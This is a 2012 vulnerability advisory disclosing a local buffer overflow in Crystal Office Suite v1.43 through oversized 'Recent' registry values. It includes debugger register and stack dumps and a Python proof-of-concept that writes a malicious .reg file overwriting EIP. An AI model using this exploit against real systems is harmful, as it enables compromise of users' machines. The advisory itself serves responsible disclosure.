Title:
======
Crystal Office Suite v1.43 - Buffer Overflow Vulnerability


Date:
=====
2012-04-12


References:
===========
http://www.vulnerability-lab.com/get_content.php?id=489


VL-ID:
=====
489


Introduction:
=============
Crystal Office is the essential office suite ideal for home and business users, delivering more tools that make your work go 
faster and your life go easier. Find all the essential office software to complete routine tasks faster and with better results. 
Create and edit text and graphics in letters, reports, documents and Web pages. Perform calculation and manage lists in 
spreadsheets. Keep track of appointments and tasks. Open, edit and save Microsoft® Office documents.

Whats Included: 

• NotePro - feature-packed easy to use word processor. Create polished documents of any length or type, including reports, 
letters, resumes and brochures. Manage standard text files, Rich Text Format, Word, and HTML.

• DayMate - a versatile intuitive day planner. Use DayMate to create and schedule reminders that can pop up messages, start 
applications or open documents, check for new e-mail, dial phone numbers, send messages, and open a specified Web sites.

• CellPro - a powerful and easy-to-use spreadsheet application. Use CellPro to create budgets, invoices, receipts and 
expense reports. Organize, analyze and manage important data and financial information. Open and save Microsoft Excel files.

• ChartPro - a project management software application that is used to create and display projects using a Work Breakdown 
Structure (WBS) chart. A WBS chart displays the structure of a project showing how a project is organized into summary 
and detail levels. Using a WBS chart is a more intuitive approach to planning and displaying a project.

• Clip Plus - the award-winning Windows Clipboard enhancer. It works alongside the regular clipboard and automatically grabs 
and saves text, images, and objects as they are copied to the clipboard - making them available for saving, reuse, and printing.

(Copy of the Vendor Homepage: http://www.crystaloffice.com )


Abstract:
=========
A Vulnerability Laboratory Researcher discovered a Local Buffer Overflow vulnerability on Crystal Office Suite v1.43. 


Report-Timeline:
================
2012-04-02:  Vendor Notification 1
2012-04-08:  Vendor Notification 2
2012-04-09:  Vendor Response/Feedback
2012-04-12:  Public or Non-Public Disclosure


Status:
========
Published


Affected Products:
==================
Cristal Office Systems
Product: Office Suite, CellPro, ChartPro, ClipPlus & NotePro v1.43, 1.23, 1.23, 1.43 & 3.88


Exploitation-Technique:
=======================
Local


Severity:
=========
High


Details:
========
A Buffer Overflow vulnerability is detected on Crystal Office Suite v1.43 (current version). Vulnerable are all included 
programs: CellPro, ChartPro, ClipPlus, NotePro.

The vulnerability is located in each of the program executeables. An oversized string on the registry values  Recent1, Recent2 
etc. within the keys: 

[HKEY_CURRENT_USER/Software/Crystal Office/CellPro]  
[HKEY_CURRENT_USER/Software/Crystal Office/ChartPro]  
[HKEY_CURRENT_USER/Software/Crystal Office/ClipPlus]  
[HKEY_CURRENT_USER/Software/Crystal Office/NotePro]  

Results in a local buffer overflow. The value is read while opening the file menu. An attacker needs to manipulate the registry 
value and has to trick the victim to hover over the ReOpen menu item within the  File menu.


--- Debug Logs ---

# Registers:
EAX 00000000
ECX 42424242
EDX 7C9132BC ntdll.7C9132BC
EBX 00000000
ESP 0012E4E8
EBP 0012E508
ESI 00000000
EDI 00000000
EIP 42424242

# Stack:
0012E4D8   7C929F68  ntdll.7C929F68
0012E4DC   01B40000
0012E4E0   7C91D80A  ntdll.7C91D80A
0012E4E4   7C9601E1  ntdll.7C9601E1
0012E4E8   7C9132A8  RETURN to ntdll.7C9132A8 <--ESP
0012E4EC   0012E5D0
0012E4F0   0012F900  ASCII  AAAABBBBCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC 
0012E4F4   0012E5EC
0012E4F8   0012E5A4

# Disassembly:
7C91329D   FF75 0C          PUSH DWORD PTR SS:[EBP+C]
7C9132A0   FF75 08          PUSH DWORD PTR SS:[EBP+8]
7C9132A3   8B4D 18          MOV ECX,DWORD PTR SS:[EBP+18]
7C9132A6   FFD1             CALL ECX
7C9132A8   64:8B25 00000000 MOV ESP,DWORD PTR FS:[0]
7C9132AF   64:8F05 00000000 POP DWORD PTR FS:[0]
7C9132B6   8BE5             MOV ESP,EBP
7C9132B8   5D               POP EBP
7C9132B9   C2 1400          RETN 14
7C9132BC   8B4C24 04        MOV ECX,DWORD PTR SS:[ESP+4]

# Dump:
0012F8E8  41 41 41 41 41 41 41 41  AAAAAAAA
0012F8F0  41 41 41 41 41 41 41 41  AAAAAAAA
0012F8F8  41 41 41 41 41 41 41 41  AAAAAAAA
0012F900  41 41 41 41 42 42 42 42  AAAABBBB
0012F908  43 43 43 43 43 43 43 43  CCCCCCCC
0012F910  43 43 43 43 43 43 43 43  CCCCCCCC
0012F918  43 43 43 43 43 43 43 43  CCCCCCCC


Picture(s):
                                                    ../1.png


Proof of Concept:
=================
The vulnerability can be exploited by local attackers or local low privileged system accounts. For demonstration or reproduce ...

#!/usr/bin/python

# Exploit:     Crystal Office Suite v1.43 Local Buffer Overflow Vulnerability
# Version:       1.43
# Software Link: http://www.crystaloffice.com
# Notes:         Vulnerable: CellPro, ChartPro, ClipPlus, NotePro
# Howto:         Import Reg -> Start App -> Move Mouse over "File" - Menuitem "ReOpen"

file="poc.reg"

junk1="\x41" * 4124
boom="\x42\x42\x42\x42"
junk2="\x43" * 100

poc="Windows Registry Editor Version 5.00\n\n"
poc=poc + "[HKEY_CURRENT_USER\Software\Crystal Office\CellPro]\n"
poc=poc + "\"Recent1\"=\"" + junk1 + boom + junk2 + "\""

try:
    print "[*] Creating exploit file...\n";
    writeFile = open (file, "w")
    writeFile.write( poc )
    writeFile.close()
    print "[*] File successfully created!";
except:
    print "[!] Error while creating file!";


Solution:
=========
Patch will be provided with the next service update on www.crystaloffice.com


Risk:
=====
The security risk of the local buffer overflow vulnerability is estimated as high.


Credits:
========
Vulnerability Research Laboratory Team  -    Julien Ahrens  (MrTuxracer)  [www.inshell.net]


Disclaimer:
===========
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties, 
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business 
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some 
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation 
may not apply. Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability-
Lab. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of 
other media, are reserved by Vulnerability-Lab or its suppliers.

                Copyright © 2012 Vulnerability-Lab




-- 
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